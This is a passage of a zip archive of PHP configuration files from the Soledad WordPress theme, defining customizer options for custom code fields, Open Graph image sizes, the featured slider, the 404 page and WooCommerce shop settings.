	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
);
$options[]             = array(
	'default'   => '',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => __( 'Add Custom Code After <body> tag', 'soledad' ),
	'id'        => 'penci_custom_code_after_body_tag',
	'type'      => 'soledad-fw-code',
	'code_type' => 'text/html',
);
$options[] = array(
	'label'       => __( 'Disable Essential Meta Tags For Social Media', 'soledad' ),
	'description' => __( 'This feature is automatically disabled when an SEO plugin is installed.', 'soledad' ),
	'id'          => 'penci_disable_og_tag',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);

$options[]   = array(
	'default'     => 'full',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Custom Image Size for OG Tags', 'soledad' ),
	'id'          => 'penci_og_tag_image_size',
	'type'        => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		global $_wp_additional_image_sizes;

		$image_sizes = [];

		$default_image_sizes = get_intermediate_image_sizes();

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ]['width']  = intval( get_option( "{$size}_size_w" ) );
			$image_sizes[ $size ]['height'] = intval( get_option( "{$size}_size_h" ) );
			$image_sizes[ $size ]['crop']   = get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false;
		}

		if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		$image_sizes_data = array( '' => 'Default' );
		if ( ! empty( $image_sizes ) ) {
			foreach ( $image_sizes as $key => $val ) {
				$new_val = $key;
				if ( isset( $val['width'] ) && isset( $val['height'] ) ) {
					$heightname = $val['height'];
					if ( '0' == $val['height'] || '99999' == $val['height'] ) {
						$heightname = 'auto';
					}
					$new_val = $key . ' - ' . $val['width'] . ' x ' . $heightname;
				}
				$image_sizes_data[ $key ] = $new_val;
			}
		}
		$image_sizes_data['full'] = 'Full Size';

		return $image_sizes_data;
	} ),
);
return $options;
PK     0w\bDN  N  D  customizer/config/sections/penci_section_fslider_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Enable Featured Slider', 'soledad' ),
	'id'       => 'penci_featured_slider',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Featured Slider on All Page', 'soledad' ),
	'id'       => 'penci_featured_slider_all_page',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Enable Flat Overlay Replace with Gradient Overlay', 'soledad' ),
	'id'          => 'penci_enable_flat_overlay',
	'description' => __( 'This option does not apply for Slider Styles 1, 2, 3, 4, 5, 29, 30, 35, 36, 37, 38 & Penci Sliders', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Border Radius for Images on Featured Slider', 'soledad' ),
	'id'          => 'penci_slider_border_radius',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'type'        => 'soledad-fw-text',
	'description' => __( 'You can use pixel or percent. E.g:  <strong>10px</strong>  or  <strong>10%</strong>. If you want to disable border radius for slider. Fill 0', 'soledad' ),
);
$options[] = array(
	'label'       => __( 'Featured Slider Style', 'soledad' ),
	'id'          => 'penci_featured_slider_style',
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'description' => __( 'If you choose Penci Slider, you need have posts in "Penci Slider" post type', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'style-1'  => 'Style 1',
		'style-2'  => 'Style 2',
		'style-3'  => 'Style 3',
		'style-4'  => 'Style 4',
		'style-5'  => 'Style 5',
		'style-6'  => 'Style 6',
		'style-7'  => 'Style 7',
		'style-8'  => 'Style 8',
		'style-9'  => 'Style 9',
		'style-10' => 'Style 10',
		'style-11' => 'Style 11',
		'style-12' => 'Style 12',
		'style-13' => 'Style 13',
		'style-14' => 'Style 14',
		'style-15' => 'Style 15',
		'style-16' => 'Style 16',
		'style-17' => 'Style 17',
		'style-18' => 'Style 18',
		'style-19' => 'Style 19',
		'style-20' => 'Style 20',
		'style-21' => 'Style 21',
		'style-22' => 'Style 22',
		'style-23' => 'Style 23',
		'style-24' => 'Style 24',
		'style-25' => 'Style 25',
		'style-26' => 'Style 26',
		'style-27' => 'Style 27',
		'style-28' => 'Style 28',
		'style-29' => 'Style 29',
		'style-30' => 'Style 30',
		'style-31' => 'Penci Slider Style 1',
		'style-32' => 'Penci Slider Style 2',
		'style-33' => 'Revolution Slider Full Width',
		'style-34' => 'Revolution Slider In Container',
		'style-35' => 'Style 35',
		'style-36' => 'Style 36',
		'style-37' => 'Style 37',
		'style-38' => 'Style 38',
		'style-40' => 'Style 39',
		'style-41' => 'Style 40',
		'style-42' => 'Style 41',
		'style-44' => 'Style 42',
	)
);
$options[] = array(
	'label'       => __( 'Carousel Sliders Effect', 'soledad' ),
	'description' => __( 'This option apply for slider styles 7,8,9,10 and 38. The "Swing" effect does not support the loop option.', 'soledad' ),
	'id'          => 'penci_fslider_carousel_slider_effect',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'default' => 'Default',
		'swing'   => 'Swing',
	),
	'default'     => 'swing',
	'sanitize'    => 'penci_sanitize_choices_field',
);
$options[] = array(
	'label'       => __( 'General Slider Effect', 'soledad' ),
	'description' => __( 'Some sliders do not support all effects listed below.', 'soledad' ),
	'id'          => 'penci_fslider_single_slider_effect',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'slide'     => 'Slide',
		'fade'      => 'Fade',
		'coverflow' => 'Coverflow',
		'flip'      => 'Flip',
		'cards'     => 'Cards',
		'creative'  => 'Creative',
	),
	'default'     => 'creative',
	'sanitize'    => 'penci_sanitize_choices_field',
);
$options[] = array(
	'label'       => __( 'Revolution Slider Shortcode', 'soledad' ),
	'id'          => 'penci_feature_rev_sc',
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'description' => __( 'If you choose Featured Slider Style is Revolution Slider, you need to fill Revolution Slider shortcode here', 'soledad' ),
);
$options[] = array(
	'label'    => __( 'Enable Next/Prev Button for Penci Slider & Slider Styles 35, 36, 37', 'soledad' ),
	'section'  => 'penci_section_fslider_general',
	'id'       => 'penci_enable_next_prev_penci_slider',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Dots for Penci Slider & Slider Styles 35, 36, 37', 'soledad' ),
	'section'  => 'penci_section_fslider_general',
	'id'       => 'penci_disable_dots_penci_slider',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Custom Image Size on the Slider', 'soledad' ),
	'id'       => 'featured_slider_imgsize',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		global $_wp_additional_image_sizes;
		$image_sizes = [];

		$default_image_sizes = get_intermediate_image_sizes();

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ]['width']  = intval( get_option( "{$size}_size_w" ) );
			$image_sizes[ $size ]['height'] = intval( get_option( "{$size}_size_h" ) );
			$image_sizes[ $size ]['crop']   = get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false;
		}

		if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		$image_sizes_data = array( '' => 'Default' );
		if ( ! empty( $image_sizes ) ) {
			foreach ( $image_sizes as $key => $val ) {
				$new_val = $key;
				if ( isset( $val['width'] ) && isset( $val['height'] ) ) {
					$heightname = $val['height'];
					if ( '0' == $val['height'] || '99999' == $val['height'] ) {
						$heightname = 'auto';
					}
					$new_val = $key . ' - ' . $val['width'] . ' x ' . $heightname;
				}
				$image_sizes_data[ $key ] = $new_val;
			}
		}
		$image_sizes_data['full'] = 'Full Size';

		return $image_sizes_data;
	} ),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Custom Image Size for Big Posts on the Slider', 'soledad' ),
	'section'  => 'penci_section_fslider_general',
	'id'       => 'featured_slider_imgbig',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		global $_wp_additional_image_sizes;
		$image_sizes = [];

		$default_image_sizes = get_intermediate_image_sizes();

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ]['width']  = intval( get_option( "{$size}_size_w" ) );
			$image_sizes[ $size ]['height'] = intval( get_option( "{$size}_size_h" ) );
			$image_sizes[ $size ]['crop']   = get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false;
		}

		if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		$image_sizes_data = array( '' => 'Default' );
		if ( ! empty( $image_sizes ) ) {
			foreach ( $image_sizes as $key => $val ) {
				$new_val = $key;
				if ( isset( $val['width'] ) && isset( $val['height'] ) ) {
					$heightname = $val['height'];
					if ( '0' == $val['height'] || '99999' == $val['height'] ) {
						$heightname = 'auto';
					}
					$new_val = $key . ' - ' . $val['width'] . ' x ' . $heightname;
				}
				$image_sizes_data[ $key ] = $new_val;
			}
		}
		$image_sizes_data['full'] = 'Full Size';

		return $image_sizes_data;
	} ),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Custom Image Size on Mobile', 'soledad' ),
	'id'       => 'featured_slider_imgsize_mobile',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		global $_wp_additional_image_sizes;

		$default_image_sizes = get_intermediate_image_sizes();
		$image_sizes         = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ]['width']  = intval( get_option( "{$size}_size_w" ) );
			$image_sizes[ $size ]['height'] = intval( get_option( "{$size}_size_h" ) );
			$image_sizes[ $size ]['crop']   = get_option( "{$size}_crop" ) ? get_option( "{$size}_crop" ) : false;
		}

		if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		$image_sizes_data = array( '' => 'Default' );
		if ( ! empty( $image_sizes ) ) {
			foreach ( $image_sizes as $key => $val ) {
				$new_val = $key;
				if ( isset( $val['width'] ) && isset( $val['height'] ) ) {
					$heightname = $val['height'];
					if ( '0' == $val['height'] || '99999' == $val['height'] ) {
						$heightname = 'auto';
					}
					$new_val = $key . ' - ' . $val['width'] . ' x ' . $heightname;
				}
				$image_sizes_data[ $key ] = $new_val;
			}
		}
		$image_sizes_data['full'] = 'Full Size';

		return $image_sizes_data;
	} ),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Custom Words Length for Post Titles', 'soledad' ),
	'id'       => 'penci_slider_title_length',
	'type'     => 'soledad-fw-size',
	'default'  => '12',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_slider_title_length',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '12',
		),
	),
);
$options[] = array(
	'label'    => __( 'Order By on Featured Slider', 'soledad' ),
	'id'       => 'featured_slider_orderby',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'date'          => __( 'Post Date', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'title'         => __( 'Post Title', 'soledad' ),
		'rand'          => __( 'Random Posts', 'soledad' ),
		'ID'            => __( 'Post ID', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'most_liked'    => __( 'Most Liked', 'soledad' ),
	),
	'default'  => 'date',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Sort Order on Featured Slider', 'soledad' ),
	'id'       => 'featured_slider_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __( 'Descending', 'soledad' ),
		'ASC'  => __( 'Ascending ', 'soledad' ),
	),
	'default'  => 'DESC',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Amount of Slides', 'soledad' ),
	'id'       => 'penci_featured_slider_slides',
	'type'     => 'soledad-fw-size',
	'default'  => '6',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featured_slider_slides',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'label'    => __( 'Enable Auto Play Slider', 'soledad' ),
	'id'       => 'penci_featured_autoplay',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Featured Slider Auto Time', 'soledad' ),
	'description' => __( '1000 = 1 second', 'soledad' ),
	'id'          => 'penci_featured_slider_auto_time',
	'type'        => 'soledad-fw-size',
	'default'     => '4000',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_featured_slider_auto_time',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4000',
		),
	),
);
$options[] = array(
	'label'       => __( 'Featured Slider Auto Speed', 'soledad' ),
	'description' => __( '1000 = 1 second', 'soledad' ),
	'id'          => 'penci_featured_slider_auto_speed',
	'default'     => '600',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_featured_slider_auto_speed',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '600',
		),
	),
);
$options[] = array(
	'label'    => __( 'Featured Penci Slider Height', 'soledad' ),
	'id'       => 'penci_featured_penci_slider_height',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_featured_penci_slider_height',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Slides Per Group', 'soledad' ),
	'id'       => 'penci_featured_penci_slider_slidespg',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_featured_penci_slider_slidespg',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '',
		),
	),
);
$options[] = array(
	'label'    => __( 'Start the slider from slide number', 'soledad' ),
	'id'       => 'penci_featured_penci_slider_slideTo',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_featured_penci_slider_slideTo',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '',
		),
	),
);
$options[] = array(
	'label'       => __( 'Custom Fixed Ratio Height/Width of Images on Penci Slider', 'soledad' ),
	'description' => __( 'Example: height/width = 0.45 = 45% - let fill 45', 'soledad' ),
	'id'          => 'penci_featured_penci_slider_ratio',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_featured_penci_slider_ratio',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => '%',
		),
	),
);
$options[] = array(
	'label'    => __( 'Remove Black Overlay Background on Heading & Captions of Penci Slider', 'soledad' ),
	'section'  => 'penci_section_fslider_general',
	'id'       => 'penci_penci_slider_remove_overlay',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Filter Featured Slider By', 'soledad' ),
	'section'  => 'penci_section_fslider_general',
	'id'       => 'penci_featured_slider_filter_type',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'category' => __( 'Featured Category', 'soledad' ),
		'tags'     => __( 'Featured Tags', 'soledad' ),
	),
	'default'  => 'category',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'       => __( 'Select Featured Category', 'soledad' ),
	'id'          => 'penci_featured_cat',
	'description' => __( 'Just apply when you select filter by Featured Category above', 'soledad' ),
	'default'     => '0',
	'type'        => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		$category   = [ '' ];
		$categories = get_categories( [
			'hide_empty'   => false,
			'hierarchical' => true,
		] );
		foreach ( $categories as $value ) {
			$category[ $value->term_id ] = $value->name;
		}

		return $category;
	} ),
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'       => __( 'Fill List Featured Tags for Featured Slider', 'soledad' ),
	'id'          => 'penci_featured_tags',
	'description' => __( 'Just apply when you select filter by Featured Tags above. And please fill list featured tags slug here, check <a class="wp-customizer-link" rel="nofollow" href="https://soledad.pencidesign.net/soledad-document/images/tags.png" target="_blank">this image</a> to know what is tags slug. Example for multiple tags slug, fill:  tag-1, tag-2, tag-3', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'       => __( 'Hide Featured Category', 'soledad' ),
	'id'          => 'penci_featured_cat_hide',
	'description' => __( 'Check this if you want the featured category to be hide on all pages.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Exclude All Posts on the Featured Slider in Latest Posts on Homepage', 'soledad' ),
	'description' => __( 'Let view your site outside customize page to see the changes.', 'soledad' ),
	'id'          => 'penci_exclude_featured_cat',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Center Box on Featured Slider', 'soledad' ),
	'id'       => 'penci_featured_center_box',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Turn off Uppercase of Heading/Post Titles on Slider', 'soledad' ),
	'id'       => 'penci_featured_off_uppercase_title',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Post Date', 'soledad' ),
	'id'       => 'penci_featured_meta_date',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Hide Categories Of Post', 'soledad' ),
	'id'          => 'penci_featured_hide_categories',
	'description' => '',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Display Categories for all Posts on Slider', 'soledad' ),
	'id'          => 'penci_featured_show_categories',
	'description' => __( 'By default, we disabled categories for some slider styles & some small posts - this option will help you show it if you want.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Comment Count', 'soledad' ),
	'id'       => 'penci_featured_meta_comment',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Post Author', 'soledad' ),
	'id'       => 'penci_featured_meta_author',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Hide Post Excerpt', 'soledad' ),
	'section'     => 'penci_section_fslider_general',
	'description' => __( 'Apply for some slider styles has post excerpt.', 'soledad' ),
	'id'          => 'penci_featured_meta_excerpt',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Post Format Icons', 'soledad' ),
	'id'       => 'penci_featured_slider_icons',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Add Google Adsense/Custom HTML Code Below Featured Slider', 'soledad' ),
	'id'          => 'penci_home_adsense_below_slider',
	'description' => '',
	'type'        => 'soledad-fw-code',
	'code_type'   => 'text/html',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);

return $options;
PK     0w\,+1  1  >  customizer/config/sections/penci_section_spage_404_section.phpnu [        <?php
$options          = [];
$page_options     = [];
$page_options[''] = '- Default Theme Template -';
$page_layouts     = get_pages();
foreach ( $page_layouts as $page_builder ) {
	$page_options[ $page_builder->post_name ] = $page_builder->post_title;
}
$options   = [];
$options[] = array(
	'id'          => 'fof_page',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-select',
	'label'       => esc_html__( '404 Page Template', 'soledad' ),
	'description' => esc_html__( 'Select the page you\'ve buit with the Elementor.', 'soledad' ),
	'choices'     => $page_options,
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image',
	'label'    => __( '404 Custom Main Image', 'soledad' ),
	'id'       => 'penci_not_found_image',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove Line Below Main Image', 'soledad' ),
	'id'       => 'penci_not_found_removeline',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => "OOPS! Page you're looking for doesn't exist. Please use search for help",
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( '404 Custom Message Text', 'soledad' ),
	'id'       => 'penci_not_found_sub_heading',
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Search Form', 'soledad' ),
	'id'       => 'penci_not_found_hide_search',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide "BACK TO HOME PAGE"', 'soledad' ),
	'id'       => 'penci_not_found_hide_backhome',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Message Text', 'soledad' ),
	'id'       => 'penci_notfound_message_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_notfound_message_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Text on Search Form', 'soledad' ),
	'id'       => 'penci_notfound_input_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_notfound_input_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for "Back To Homepage"', 'soledad' ),
	'id'       => 'penci_notfound_backhome_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_notfound_backhome_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     0w\$  $  J  customizer/config/sections/pencidesign_new_section_woocommerce_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_general_heading_1',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Header Area', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_woo_shop_hide_cart_icon',
	'default'   => false,
	'transport' => 'refresh',
	'sanitize'  => 'penci_sanitize_checkbox_field',
	'label'     => __( 'Hide Header Shopping Cart Icon', 'soledad' ),
	'type'      => 'soledad-fw-toggle'
);
$options[] = array(
	'id'          => 'penci_woo_cart_style',
	'default'     => 'side-right',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Header Shopping Cart Style', 'soledad' ),
	'description'=>__('Select the shopping cart detail style.','soledad'),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'dropdown'   => __('Dropdown','soledad' ),
		'side-left'  => __('Side Left','soledad' ),
		'side-right' => __('Side Right','soledad' ),
	)
);
$options[] = array(
	'id'       => 'size_header_cart_icon_check',
	'default'  => '17',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Custom Size for Woocommerce Icons at the Header', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'size_header_cart_icon_check',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'          => 'penci_woo_disable_breadcrumb',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Breadcrumb', 'soledad' ),
	'description'=>__('This option apply for shop archive page only.<br/>If you want to modify the single product breadcrumb, please navigate to <strong>WooCommerce > Single Product > Breadcrumb Position</strong>.','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_general_heading_2',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Sidebar Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_woo_shop_enable_sidebar',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Sidebar On Shop Page', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_cat_enable_sidebar',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Sidebar On Shop Archive', 'soledad' ),
	'description'=>__('Show sidebar widget on Product Category/Tags/Atribute/Search Result pages','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woo_single_enable_sidebar',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Sidebar On Single Product', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_single_sidebar_style',
	'default'     => 'bottom',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Single Product Sidebar Placement', 'soledad' ),
	'description'=>__('Select the position of the sidebar display on single product.','soledad'),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'bottom' => 'Bottom Content',
		'both'   => 'Top & Bottom',
	)
);
$options[] = array(
	'id'       => 'penci_woo_left_sidebar',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Left Sidebar', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woo_widgets_scroll',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Scrollable For Filter Widget', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_woo_widgets_scroll_m_height',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Custom Maximium Height For Filter Widget', 'soledad' ),
	'id'       => 'penci_woo_widgets_scroll_height',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_woo_widgets_scroll_height',
		'mobile'  => 'penci_woo_widgets_scroll_m_height',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 300,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 300,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'id'       => 'penci_general_heading_4',
	'label'    => esc_html__( 'Pagination Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => 'pagination',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Products pagination', 'soledad' ),
	'description'=>__('Choose a type for the pagination on your shop page.','soledad'),
	'id'          => 'penci_shop_product_pagination',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'pagination' => __('Pagination','soledad' ),
		'loadmore'   => __('Load More Button','soledad' ),
		'infinit'    => __('Infinit Scrolling','soledad' ),
	)
);
$options[] = array(
	'default'  => 'center',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Page Navigation Alignment', 'soledad' ),
	'id'       => 'penci_woo_paging_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'center' => __('Center','soledad' ),
		'left'   => __('Left','soledad' ),
